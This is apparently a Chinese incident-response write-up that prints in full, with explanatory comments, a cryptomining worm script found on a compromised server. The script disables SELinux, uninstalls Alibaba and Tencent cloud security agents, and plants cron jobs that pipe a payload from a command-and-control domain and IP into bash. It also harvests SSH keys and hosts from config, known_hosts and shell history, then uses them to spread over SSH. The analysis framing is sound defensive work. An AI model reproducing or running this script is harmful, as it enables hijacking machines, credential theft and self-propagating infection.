挖礦腳本學習

背景

日常應急響應過程中發現的挖礦腳本，對其進行分析發現寫的質量該不錯，可以學習下

樣本分析及學習

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
#關閉SElinux
setenforce 0 2>/dev/null
#將用戶進程限制改為5000個
ulimit -u 50000
#臨時修該 vm.nr_hugepages參數
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
#跟據pid來干掉下面的端口運行的進程
netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
#生成兩個隨機數
rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)
#將下面文件的保護機制去掉，使其可刪改
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
#卸載阿里雲的安騎士
if ps aux | grep -i '[a]liyun'; then
  (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
  (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
#關閉aliyun的服務
  systemctl stop aliyun.service
  systemctl disable aliyun.service
#干掉某雲agent監控
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
#干掉騰訊雲的雲鏡
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"

#改變文件/tmp/dbused屬性（a：讓文件或目錄僅供附加用途、i：不得任意更動文件或目錄）
chattr -ai /tmp/dbused
#利用ifconfig和ip a找到B段，給range變量
if [ -s /usr/bin/ifconfig ];
then
	range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
	range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi
#測試礦池dns是否能解析pool.supportxmr.com
if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        dns=""
else
        dns="-d"
fi
#測試礦池dns是否解析 bash.givemexyz.in，不能解析直接將url賦值為c2的地址
if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
        url="http://bash.givemexyz.in"
else
        url="http://209.141.40.190"
fi

#寫入計划任務： 使用-e參數：激活轉義字符
#前三個是吸入系統計划任務
#第四個是寫入個人計划任務
#寫入計划任務的內容就是以curl、wget、python的urllib2庫 來下載挖礦樣本到/tmp/xms，並以bash來執行下載的挖礦樣本。之后再刪除下載的挖礦樣本/tmp/xms
echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
#放入etc/cron.hourly的腳本會每小時執行一次，寫入計划任務，並給有可執行權限
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

DIR="/tmp"
cd $DIR

if [ -a "/tmp/dbused" ]
then
    if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ] #abused文件存在且可寫，並且不是一個目錄
    then
        if [ -x "$(command -v md5sum)" ] #查看是否有md計算命令 md5sum
        then
            sum=$(md5sum /tmp/dbused | awk '{ print $1 }') #計算abused的md5至
            echo $sum
            case $sum in
                dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
                    echo "x86_64 OK"
                ;;
                *)
                    echo "x86_64 wrong"
                    rm -rf /usr/local/lib/libkk.so
                    echo "" > /etc/ld.so.preload
                    pkill -f wc.conf
                    pkill -f susss
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else #沒有dbused文件
    if [ -d "/tmp" ]
    then
        DIR="/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/.sh/dbused" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
#刪除系統上的$2文件，用網上下載的$1文件替換
#get函數定義
get() {
  chattr -i $2; rm -rf $2
  wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
  chmod +x $2
}

#檢查dbused是否存在，存在的話就計算md5來校驗下，不存在就去下載
downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/dbused ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
                echo "x86_64 OK"
            ;;
            *)
                echo "x86_64 wrong"
                sizeBefore=$(du $DIR/x86_64)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                download
                sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

#download函數定義，驗證md5不存在調用download2下載
download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
                echo "x86_64 OK"
                cp $DIR/x86_643 $DIR/x86_64
				        cp $DIR/x86_643 $DIR/x86_64
            ;;
            *)
                echo "x86_64 wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}
#調用get函數進行下載
download2() {
	get $url/$(uname -m) "$DIR"/dbused
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
                echo "x86_64 OK"
                cp $DIR/x86_64 $DIR/x86_643
            ;;
            *)
                echo "x86_64 wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        get $url/$(uname -m) "$DIR"/dbused
        chmod +x "$DIR"/dbused
        "$DIR"/dbused -c $dns
        "$DIR"/dbused -pwn
        sleep 5
    else
	echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge
else
     echo "Running"
fi

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    get $url/bashirc.$(uname -m) "$DIR"/bashirc
    chmod 777 "$DIR"/bashirc
    "$DIR"/bashirc
else
	echo "Running"
fi
#檢查計划任務，如不存在則重新建立
if crontab -l | grep -q "$url"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

#或取本機器密鑰
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
#獲取機器記錄的host
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
#獲取機器記錄的user名
USERZ=$(
    echo "root"
    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
#將以上信息加入list方便后面調用
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
    for host in $hostlist; do
        for key in $keylist; do
            chmod +r $key; chmod 400 $key
            #使用密鑰登錄直接執行后面的命令
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
        done
    done
done
#恢復環境，刪除相關的痕跡並將之前相關系統文件的權限加上
rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down